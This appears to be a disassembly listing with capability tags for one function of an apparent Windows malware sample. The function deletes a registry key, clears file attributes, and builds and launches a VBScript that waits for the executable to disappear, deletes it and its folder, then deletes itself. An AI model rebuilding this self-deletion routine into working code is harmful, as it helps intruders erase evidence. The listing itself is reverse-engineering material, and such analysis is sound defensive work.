Function at 0x407a2c
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
lea eax, [ebp - 0x2a0]
push ebx
push esi
push edi
mov ebx, 0x208
xor edi, edi
push ebx
push edi
push eax
call fcn.0042c2a0
add esp, 0xc
mov esi, 0x4632c8
mov ecx, esi
call fcn.00402046
push eax
mov ecx, esi
call fcn.0040204e
push eax
push ebx
lea eax, [ebp - 0x2a0]
mov esi, 0x463280
push eax
push str.exepath
mov ecx, esi
call fcn.0040204e
mov edx, eax
call fcn.0040bfdf
add esp, 0x14
test al, al
jne 0x407a9b
push ebx
lea eax, [ebp - 0x2a0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.0040204e
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebx, 0x463298
mov byte [ebp - 1], 1
mov edx, 0x45694c
mov ecx, ebx
call fcn.00405b36
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x407adc
push 0x80
mov ecx, ebx
call fcn.004043ec
push eax
call esi
push 0x80
lea eax, [ebp - 0x2a0]
push eax
call esi
mov ebx, eax
lea ecx, [ebp - 0x1c]
neg ebx
push str..vbs
sbb bl, bl
call fcn.00411749
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00411990
mov edx, eax
lea ecx, [ebp - 0x94]
call fcn.00406e4d
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.00403536
lea ecx, [ebp - 0x1c]
call fcn.004020b7
lea eax, [ebp - 0x94]
push eax
push 0x456664
push 0x45695c
call fcn.0042fcf2
pop ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406e4d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.00408250
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00403536
lea ecx, [ebp - 0x4c]
call fcn.00403536
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x1c]
call fcn.00403540
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x34]
call fcn.00408274
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00403536
and bl, byte [ebp - 1]
je 0x407be3
push 0x456a00
lea eax, [ebp - 0x2a0]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403540
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00408274
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00405e2a
lea ecx, [ebp - 0x1c]
call fcn.00403536
lea ecx, [ebp - 0x4c]
call fcn.00403536
lea ecx, [ebp - 0x64]
call fcn.00403536
push 0x456a38
lea eax, [ebp - 0x2a0]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x4c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406e4d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00405e2a
lea ecx, [ebp - 0x64]
call fcn.00403536
lea ecx, [ebp - 0x1c]
call fcn.00403536
lea ecx, [ebp - 0x4c]
call fcn.00403536
test bl, bl
je 0x407c44
push str.wend_n
lea ecx, [ebp - 0x34]
call fcn.00405e21
mov ebx, 0x45694c
mov esi, 0x463298
mov edx, ebx
mov ecx, esi
call fcn.00405b36
test al, al
je 0x407c93
push 0x456a38
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x1c]
call fcn.00408298
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00405e2a
lea ecx, [ebp - 0x64]
call fcn.00403536
lea ecx, [ebp - 0x1c]
call fcn.00403536
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x34]
call fcn.00405e21
push ecx
lea ecx, [ebp - 0x7c]
call fcn.004043ec
push eax
lea ecx, [ebp - 0x34]
call fcn.00402046
mov esi, eax
lea ecx, [ebp - 0x34]
add esi, esi
call fcn.004043ec
mov edx, esi
mov ecx, eax
call fcn.00411ec1
pop ecx
pop ecx
test al, al
je 0x407ce5
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.004043ec
push eax
push 0x45650c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]